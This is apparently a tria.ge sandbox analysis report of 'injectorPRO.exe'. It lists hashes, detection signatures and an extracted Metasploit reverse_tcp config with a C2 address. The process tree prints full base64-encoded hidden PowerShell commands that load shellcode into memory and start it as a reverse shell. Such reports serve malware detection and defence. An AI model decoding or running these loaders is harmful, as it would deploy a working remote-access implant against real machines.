Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    17s
  • max time network
    18s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    18/12/2024, 18:55

General

  • Target

    injectorPRO.exe

  • Size

    17KB

  • MD5

    d1adc890e952aba11a3bf118243d8f49

  • SHA1

    b0656e5cae0c288ddb376e15ca8d9e2e397cfce5

  • SHA256

    e9ccbf5fa7f41a02d5e1e9d67d29d68a364f73d021926795e656402c6fa0f7e2

  • SHA512

    47d026f8bef2695916717f24fa1e41b23fd40331b5c0c938f52e238b254d7f2dd92713b18d595a4f73ccd4543acb631e227d6a00e641a30f587d0878c0b2d127

  • SSDEEP

    384:Y9EEoLO56ayzcMj+s+XY5cUICgjlKYgFI2cl1caXUlciFxwmcLHa7Q:5E8O56lcVs+XYLVYg9cl1caXkciFjc28

Malware Config

Extracted

Family

metasploit

Version

encoder/shikata_ga_nai

Extracted

Family

metasploit

Version

windows/reverse_tcp

C2

192.168.178.36:9999

Signatures

  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Metasploit family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\injectorPRO.exe
    "C:\Users\Admin\AppData\Local\Temp\injectorPRO.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3920
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -window hidden -EncodedCommand JABOAGYAVgBmACAAPQAgACcAJABKAEEARwAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnACcAOwAkAHcAIAA9ACAAQQBkAGQALQBUAHkAcABlACAALQBtAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJABKAEEARwAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AOwBbAEIAeQB0AGUAWwBdAF0AJAB6ACAAPQAgADAAeABkADkALAAwAHgAYwA2ACwAMAB4AGIAOAAsADAAeABhADMALAAwAHgAYwBhACwAMAB4AGEAOAAsADAAeABiAGIALAAwAHgAZAA5ACwAMAB4ADcANAAsADAAeAAyADQALAAwAHgAZgA0ACwAMAB4ADUAZAAsADAAeAAyADkALAAwAHgAYwA5ACwAMAB4AGIAMQAsADAAeAA0AGIALAAwAHgAOAAzACwAMAB4AGUAZAAsADAAeABmAGMALAAwAHgAMwAxACwAMAB4ADQANQAsADAAeAAxADMALAAwAHgAMAAzACwAMAB4AGUANgAsADAAeABkADkALAAwAHgANABhACwAMAB4ADQAZQAsADAAeAAxADQALAAwAHgAMwA1ACwAMAB4ADAANQAsADAAeABiADEALAAwAHgAZQA0ACwAMAB4AGMANgAsADAAeAA3AGEALAAwAHgAMwBiACwAMAB4ADAAMQAsADAAeABmADcALAAwAHgAYQA4ACwAMAB4ADUAZgAsADAAeAA0ADIALAAwAHgAYQBhACwAMAB4ADcAYwAsADAAeAAyAGIALAAwAHgAMAA2ACwAMAB4ADQANwAsADAAeABmADYALAAwAHgANwA5ACwAMAB4AGIAMgAsADAAeABkAGMALAAwAHgANwBhACwAMAB4ADUANgAsADAAeABiADUALAAwAHgANQA1ACwAMAB4ADMAMAAsADAAeAA4ADAALAAwAHgAZgA4ACwAMAB4ADYANgAsADAAeABmADQALAAwAHgAMABjACwAMAB4ADUANgAsADAAeABhADQALAAwAHgAOQA2ACwAMAB4AGYAMAAsADAAeABhADQALAAwAHgAZgA5ACwAMAB4ADcAOAAsADAAeABjADgALAAwAHgANgA3ACwAMAB4ADAAYwAsADAAeAA3ADgALAAwAHgAMABkACwAMAB4ADMAZQAsADAAeAA3AGEALAAwAHgAOQA1ACwAMAB4AGMAMwAsADAAeAA5ADcALAAwAHgAMABmACwAMAB4ADMAYgAsADAAeABmADQALAAwAHgAOQBjACwAMAB4ADUAMgAsADAAeAA4ADAALAAwAHgAZgA1ACwAMAB4ADcAMgAsADAAeABkADkALAAwAHgAYgA4ACwAMAB4ADgAZAAsADAAeABmADcALAAwAHgAMQBlACwAMAB4ADQAYwAsADAAeAAyADIALAAwAHgAZgA2ACwAMAB4ADQAZQAsADAAeAAyADYALAAwAHgAZgAyACwAMAB4AGUAMAAsADAAeABlADUALAAwAHgANgAxACwAMAB4ADIAMwAsADAAeAAxADEALAAwAHgAMgA5ACwAMAB4AGMAMQAsADAAeABhADYALAAwAHgAZAA4ACwAMAB4AGIAOQAsADAAeABkAGUALAAwAHgAOQA5ACwAMAB4ADIANQAsADAAeAAwADgALAAwAHgAOQA0ACwAMAB4AGUAZQAsADAAeAA1ADIALAAwAHgAOABhACwAMAB4ADcAYwAsADAAeAAzAGYALAAwAHgAYQA0ACwAMAB4ADIAMQAsADAAeAA0ADEALAAwAHgAOABmACwAMAB4ADIAOQAsADAAeAAzAGIALAAwAHgAOAA1ACwAMAB4ADIAOAAsADAAeABkADEALAAwAHgANABlACwAMAB4AGYAZAAsADAAeAA0AGEALAAwAHgANgBjACwAMAB4ADQAOQAsADAAeABjADYALAAwAHgAMwAxACwAMAB4AGEAYQAsADAAeABkAGMALAAwAHgAZAA5ACwAMAB4ADkAMgAsADAAeAAzADkALAAwAHgANAA2ACwAMAB4ADMAZQAsADAAeAAyADIALAAwAHgAZQBlACwAMAB4ADEAMQAsADAAeABiADUALAAwAHgAMgA4ACwAMAB4ADUAYgAsADAAeAA1ADUALAAwAHgAOQAxACwAMAB4ADIAYwAsADAAeAA1AGEALAAwAHgAYgBhACwAMAB4AGEAOQAsADAAeAA0ADkALAAwAHgAZAA3ACwAMAB4ADMAZAAsADAAeAA3AGUALAAwAHgAZAA4ACwAMAB4AGEAMwAsADAAeAAxADkALAAwAHgANQBhACwAMAB4ADgAMAAsADAAeAA3ADAALAAwAHgAMAAzACwAMAB4AGYAYgAsADAAeAA2AGMALAAwAHgAZAA3ACwAMAB4ADMAYwAsADAAeAAxAGIALAAwAHgAYwA4ACwAMAB4ADgAOAAsADAAeAA5ADgALAAwAHgANQA3ACwAMAB4AGYAYgAsADAAeABkAGYALAAwAHgAOQBkACwAMAB4ADkANwAsADAAeAAwADMALAAwAHgAZQAwACwAMAB4AGMAMwAsADAAeAAwAGYALAAwAHgAYwBmACwAMAB4ADIAYwAsADAAeABmAGMALAAwAHgAYwBmACwAMAB4ADQANwAsADAAeAAyADcALAAwAHgAOABmACwAMAB4AGYAZAAsADAAeABjADgALAAwAHgAOQAzACwAMAB4ADAANwAsADAAeAA0AGUALAAwAHgAOAAwACwAMAB4ADMAZAAsADAAeABkAGYALAAwAHgAYwA3ACwAMAB4ADgANgAsADAAeABiAGUALAAwAHgAMABmACwAMAB4ADYAZgAsADAAeABjADYALAAwAHgANAAxACwAMAB4AGIAMAAsADAAeAA5ADAALAAwAHgAYwBlACwAMAB4ADgANQAsADAAeABlADQALAAwAHgAYwAwACwAMAB4ADcAOAAsADAAeAAyAGMALAAwAHgAOAA1ACwAMAB4ADgAYQAsADAAeAA3ADgALAAwAHgAZAAxACwAMAB4ADUAMAAsADAAeAAyADYALAAwAHgANwAzACwAMAB4ADQANQAsADAAeAA5AGIALAAwAHgAMQBmACwAMAB4ADMAMQAsADAAeABiADEALAAwAHgANwAzACwAMAB4ADYAMgAsADAAeAAzADYALAAwAHgAOQBlACwAMAB4ADgAYwAsADAAeABlAGIALAAwAHgAZAAwACwAMAB4AGIAMAAsADAAeABjADIALAAwAHgAYgBiACwAMAB4ADQAYwAsADAAeAA3ADAALAAwAHgAYgAzACwAMAB4ADcAYgAsADAAeAAzAGQALAAwAHgAMQA4ACwAMAB4AGQAOQAsADAAeAA3ADMALAAwAHgANgAyACwAMAB4ADMAOAAsADAAeABlADIALAAwAHgANQA5ACwAMAB4ADAAYgAsADAAeABkADIALAAwAHgAMABkACwAMAB4ADMANAAsADAAeAA2ADMALAAwAHgANABhACwAMAB4AGIANwAsADAAeAAxAGQALAAwAHgAZgBmACwAMAB4AGUAYgAsADAAeAAzADgALAAwAHgAOAA4ACwAMAB4ADgANQAsADAAeAAyAGIALAAwAHgAYgAyACwAMAB4ADMAZgAsADAAeAA3ADkALAAwAHgAZQA1ACwAMAB4ADMAMwAsADAAeAAzADUALAAwAHgANgA5ACwAMAB4ADkAMQAsADAAeABiADMALAAwAHgAMAAwACwAMAB4AGQAMwAsADAAeAAzADcALAAwAHgAYwBiACwAMAB4AGIAZQAsADAAeAA3AGUALAAwAHgAYgA3ACwAMAB4ADUAOQAsADAAeAA0ADUALAAwAHgAMgA5ACwAMAB4AGUAMAAsADAAeABmADUALAAwAHgANAA3ACwAMAB4ADAAYwAsADAAeABjADYALAAwAHgANQA5ACwAMAB4AGIANwAsADAAeAA3AGIALAAwAHgANQBkACwAMAB4ADUAMwAsADAAeAAyAGQALAAwAHgAYwA0ACwAMAB4ADAAOQAsADAAeAA5AGMALAAwAHgAYQAxACwAMAB4AGMANAAsADAAeABjADkALAAwAHgAYwBhACwAMAB4AGEAYgAsADAAeABjADQALAAwAHgAYQAxACwAMAB4AGEAYQAsADAAeAA4AGYALAAwAHgAOQA2ACwAMAB4AGQANAAsADAAeABiADQALAAwAHgAMAA1ACwAMAB4ADgAYgAsADAAeAA0ADUALAAwAHgAMgAxACwAMAB4AGEANgAsADAAeABmAGEALAAwAHgAMwBhACwAMAB4AGUAMgAsADAAeABjAGUALAAwAHgAMAAwACwAMAB4ADYANQAsADAAeABjADQALAAwAHgANQAwACwAMAB4AGYAYQAsADAAeAA0ADAALAAwAHgAZAA0ACwAMAB4AGEAZAAsADAAeAAyAGQALAAwAHgAYQBjACwAMAB4AGEAMgAsADAAeABkAGYALAAwAHgAZQBkADsAJABnACAAPQAgADAAeAAxADAAMAAwADsAaQBmACAAKAAkAHoALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAB4ADEAMAAwADAAKQB7ACQAZwAgAD0AIAAkAHoALgBMAGUAbgBnAHQAaAB9ADsAJAB5ADYARQA9ACQAdwA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAGcALAAwAHgANAAwACkAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAAKAAkAHoALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAaQArACsAKQAgAHsAJAB3ADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQAeQA2AEUALgBUAG8ASQBuAHQAMwAyACgAKQArACQAaQApACwAIAAkAHoAWwAkAGkAXQAsACAAMQApAH0AOwAkAHcAOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgAMAAsADAALAAkAHkANgBFACwAMAAsADAALAAwACkAOwBmAG8AcgAgACgAOwA7ACkAewBTAHQAYQByAHQALQBzAGwAZQBlAHAAIAA2ADAAfQA7ACcAOwAkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AEIAeQB0AGUAcwAoACQATgBmAFYAZgApACkAOwAkAHEAbwBPAHcAIAA9ACAAIgAtAGUAbgBjACAAIgA7AGkAZgAoAFsASQBuAHQAUAB0AHIAXQA6ADoAUwBpAHoAZQAgAC0AZQBxACAAOAApAHsAJAB1ADcAcwBxACAAPQAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0ACAAKwAgACIAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAiADsAaQBlAHgAIAAiACYAIAAkAHUANwBzAHEAIAAkAHEAbwBPAHcAIAAkAGUAIgB9AGUAbABzAGUAewA7AGkAZQB4ACAAIgAmACAAcABvAHcAZQByAHMAaABlAGwAbAAgACQAcQBvAE8AdwAgACQAZQAiADsAfQA=
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:988
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -window hidden -EncodedCommand JABOAGYAVgBmACAAPQAgACcAJABKAEEARwAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnACcAOwAkAHcAIAA9ACAAQQBkAGQALQBUAHkAcABlACAALQBtAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJABKAEEARwAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AOwBbAEIAeQB0AGUAWwBdAF0AJAB6ACAAPQAgADAAeABkADkALAAwAHgAYwA2ACwAMAB4AGIAOAAsADAAeABhADMALAAwAHgAYwBhACwAMAB4AGEAOAAsADAAeABiAGIALAAwAHgAZAA5ACwAMAB4ADcANAAsADAAeAAyADQALAAwAHgAZgA0ACwAMAB4ADUAZAAsADAAeAAyADkALAAwAHgAYwA5ACwAMAB4AGIAMQAsADAAeAA0AGIALAAwAHgAOAAzACwAMAB4AGUAZAAsADAAeABmAGMALAAwAHgAMwAxACwAMAB4ADQANQAsADAAeAAxADMALAAwAHgAMAAzACwAMAB4AGUANgAsADAAeABkADkALAAwAHgANABhACwAMAB4ADQAZQAsADAAeAAxADQALAAwAHgAMwA1ACwAMAB4ADAANQAsADAAeABiADEALAAwAHgAZQA0ACwAMAB4AGMANgAsADAAeAA3AGEALAAwAHgAMwBiACwAMAB4ADAAMQAsADAAeABmADcALAAwAHgAYQA4ACwAMAB4ADUAZgAsADAAeAA0ADIALAAwAHgAYQBhACwAMAB4ADcAYwAsADAAeAAyAGIALAAwAHgAMAA2ACwAMAB4ADQANwAsADAAeABmADYALAAwAHgANwA5ACwAMAB4AGIAMgAsADAAeABkAGMALAAwAHgANwBhACwAMAB4ADUANgAsADAAeABiADUALAAwAHgANQA1ACwAMAB4ADMAMAAsADAAeAA4ADAALAAwAHgAZgA4ACwAMAB4ADYANgAsADAAeABmADQALAAwAHgAMABjACwAMAB4ADUANgAsADAAeABhADQALAAwAHgAOQA2ACwAMAB4AGYAMAAsADAAeABhADQALAAwAHgAZgA5ACwAMAB4ADcAOAAsADAAeABjADgALAAwAHgANgA3ACwAMAB4ADAAYwAsADAAeAA3ADgALAAwAHgAMABkACwAMAB4ADMAZQAsADAAeAA3AGEALAAwAHgAOQA1ACwAMAB4AGMAMwAsADAAeAA5ADcALAAwAHgAMABmACwAMAB4ADMAYgAsADAAeABmADQALAAwAHgAOQBjACwAMAB4ADUAMgAsADAAeAA4ADAALAAwAHgAZgA1ACwAMAB4ADcAMgAsADAAeABkADkALAAwAHgAYgA4ACwAMAB4ADgAZAAsADAAeABmADcALAAwAHgAMQBlACwAMAB4ADQAYwAsADAAeAAyADIALAAwAHgAZgA2ACwAMAB4ADQAZQAsADAAeAAyADYALAAwAHgAZgAyACwAMAB4AGUAMAAsADAAeABlADUALAAwAHgANgAxACwAMAB4ADIAMwAsADAAeAAxADEALAAwAHgAMgA5ACwAMAB4AGMAMQAsADAAeABhADYALAAwAHgAZAA4ACwAMAB4AGIAOQAsADAAeABkAGUALAAwAHgAOQA5ACwAMAB4ADIANQAsADAAeAAwADgALAAwAHgAOQA0ACwAMAB4AGUAZQAsADAAeAA1ADIALAAwAHgAOABhACwAMAB4ADcAYwAsADAAeAAzAGYALAAwAHgAYQA0ACwAMAB4ADIAMQAsADAAeAA0ADEALAAwAHgAOABmACwAMAB4ADIAOQAsADAAeAAzAGIALAAwAHgAOAA1ACwAMAB4ADIAOAAsADAAeABkADEALAAwAHgANABlACwAMAB4AGYAZAAsADAAeAA0AGEALAAwAHgANgBjACwAMAB4ADQAOQAsADAAeABjADYALAAwAHgAMwAxACwAMAB4AGEAYQAsADAAeABkAGMALAAwAHgAZAA5ACwAMAB4ADkAMgAsADAAeAAzADkALAAwAHgANAA2ACwAMAB4ADMAZQAsADAAeAAyADIALAAwAHgAZQBlACwAMAB4ADEAMQAsADAAeABiADUALAAwAHgAMgA4ACwAMAB4ADUAYgAsADAAeAA1ADUALAAwAHgAOQAxACwAMAB4ADIAYwAsADAAeAA1AGEALAAwAHgAYgBhACwAMAB4AGEAOQAsADAAeAA0ADkALAAwAHgAZAA3ACwAMAB4ADMAZAAsADAAeAA3AGUALAAwAHgAZAA4ACwAMAB4AGEAMwAsADAAeAAxADkALAAwAHgANQBhACwAMAB4ADgAMAAsADAAeAA3ADAALAAwAHgAMAAzACwAMAB4AGYAYgAsADAAeAA2AGMALAAwAHgAZAA3ACwAMAB4ADMAYwAsADAAeAAxAGIALAAwAHgAYwA4ACwAMAB4ADgAOAAsADAAeAA5ADgALAAwAHgANQA3ACwAMAB4AGYAYgAsADAAeABkAGYALAAwAHgAOQBkACwAMAB4ADkANwAsADAAeAAwADMALAAwAHgAZQAwACwAMAB4AGMAMwAsADAAeAAwAGYALAAwAHgAYwBmACwAMAB4ADIAYwAsADAAeABmAGMALAAwAHgAYwBmACwAMAB4ADQANwAsADAAeAAyADcALAAwAHgAOABmACwAMAB4AGYAZAAsADAAeABjADgALAAwAHgAOQAzACwAMAB4ADAANwAsADAAeAA0AGUALAAwAHgAOAAwACwAMAB4ADMAZAAsADAAeABkAGYALAAwAHgAYwA3ACwAMAB4ADgANgAsADAAeABiAGUALAAwAHgAMABmACwAMAB4ADYAZgAsADAAeABjADYALAAwAHgANAAxACwAMAB4AGIAMAAsADAAeAA5ADAALAAwAHgAYwBlACwAMAB4ADgANQAsADAAeABlADQALAAwAHgAYwAwACwAMAB4ADcAOAAsADAAeAAyAGMALAAwAHgAOAA1ACwAMAB4ADgAYQAsADAAeAA3ADgALAAwAHgAZAAxACwAMAB4ADUAMAAsADAAeAAyADYALAAwAHgANwAzACwAMAB4ADQANQAsADAAeAA5AGIALAAwAHgAMQBmACwAMAB4ADMAMQAsADAAeABiADEALAAwAHgANwAzACwAMAB4ADYAMgAsADAAeAAzADYALAAwAHgAOQBlACwAMAB4ADgAYwAsADAAeABlAGIALAAwAHgAZAAwACwAMAB4AGIAMAAsADAAeABjADIALAAwAHgAYgBiACwAMAB4ADQAYwAsADAAeAA3ADAALAAwAHgAYgAzACwAMAB4ADcAYgAsADAAeAAzAGQALAAwAHgAMQA4ACwAMAB4AGQAOQAsADAAeAA3ADMALAAwAHgANgAyACwAMAB4ADMAOAAsADAAeABlADIALAAwAHgANQA5ACwAMAB4ADAAYgAsADAAeABkADIALAAwAHgAMABkACwAMAB4ADMANAAsADAAeAA2ADMALAAwAHgANABhACwAMAB4AGIANwAsADAAeAAxAGQALAAwAHgAZgBmACwAMAB4AGUAYgAsADAAeAAzADgALAAwAHgAOAA4ACwAMAB4ADgANQAsADAAeAAyAGIALAAwAHgAYgAyACwAMAB4ADMAZgAsADAAeAA3ADkALAAwAHgAZQA1ACwAMAB4ADMAMwAsADAAeAAzADUALAAwAHgANgA5ACwAMAB4ADkAMQAsADAAeABiADMALAAwAHgAMAAwACwAMAB4AGQAMwAsADAAeAAzADcALAAwAHgAYwBiACwAMAB4AGIAZQAsADAAeAA3AGUALAAwAHgAYgA3ACwAMAB4ADUAOQAsADAAeAA0ADUALAAwAHgAMgA5ACwAMAB4AGUAMAAsADAAeABmADUALAAwAHgANAA3ACwAMAB4ADAAYwAsADAAeABjADYALAAwAHgANQA5ACwAMAB4AGIANwAsADAAeAA3AGIALAAwAHgANQBkACwAMAB4ADUAMwAsADAAeAAyAGQALAAwAHgAYwA0ACwAMAB4ADAAOQAsADAAeAA5AGMALAAwAHgAYQAxACwAMAB4AGMANAAsADAAeABjADkALAAwAHgAYwBhACwAMAB4AGEAYgAsADAAeABjADQALAAwAHgAYQAxACwAMAB4AGEAYQAsADAAeAA4AGYALAAwAHgAOQA2ACwAMAB4AGQANAAsADAAeABiADQALAAwAHgAMAA1ACwAMAB4ADgAYgAsADAAeAA0ADUALAAwAHgAMgAxACwAMAB4AGEANgAsADAAeABmAGEALAAwAHgAMwBhACwAMAB4AGUAMgAsADAAeABjAGUALAAwAHgAMAAwACwAMAB4ADYANQAsADAAeABjADQALAAwAHgANQAwACwAMAB4AGYAYQAsADAAeAA0ADAALAAwAHgAZAA0ACwAMAB4AGEAZAAsADAAeAAyAGQALAAwAHgAYQBjACwAMAB4AGEAMgAsADAAeABkAGYALAAwAHgAZQBkADsAJABnACAAPQAgADAAeAAxADAAMAAwADsAaQBmACAAKAAkAHoALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAB4ADEAMAAwADAAKQB7ACQAZwAgAD0AIAAkAHoALgBMAGUAbgBnAHQAaAB9ADsAJAB5ADYARQA9ACQAdwA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAGcALAAwAHgANAAwACkAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAAKAAkAHoALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAaQArACsAKQAgAHsAJAB3ADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQAeQA2AEUALgBUAG8ASQBuAHQAMwAyACgAKQArACQAaQApACwAIAAkAHoAWwAkAGkAXQAsACAAMQApAH0AOwAkAHcAOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgAMAAsADAALAAkAHkANgBFACwAMAAsADAALAAwACkAOwBmAG8AcgAgACgAOwA7ACkAewBTAHQAYQByAHQALQBzAGwAZQBlAHAAIAA2ADAAfQA7ACcAOwAkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AEIAeQB0AGUAcwAoACQATgBmAFYAZgApACkAOwAkAHEAbwBPAHcAIAA9ACAAIgAtAGUAbgBjACAAIgA7AGkAZgAoAFsASQBuAHQAUAB0AHIAXQA6ADoAUwBpAHoAZQAgAC0AZQBxACAAOAApAHsAJAB1ADcAcwBxACAAPQAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0ACAAKwAgACIAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAiADsAaQBlAHgAIAAiACYAIAAkAHUANwBzAHEAIAAkAHEAbwBPAHcAIAAkAGUAIgB9AGUAbABzAGUAewA7AGkAZQB4ACAAIgAmACAAcABvAHcAZQByAHMAaABlAGwAbAAgACQAcQBvAE8AdwAgACQAZQAiADsAfQA=
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5108
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -enc JABKAEEARwAgAD0AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGUAcwBzACwAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABmAGwAQQBsAGwAbwBjAGEAdABpAG8AbgBUAHkAcABlACwAIAB1AGkAbgB0ACAAZgBsAFAAcgBvAHQAZQBjAHQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABBAHQAdAByAGkAYgB1AHQAZQBzACwAIAB1AGkAbgB0ACAAZAB3AFMAdABhAGMAawBTAGkAegBlACwAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAs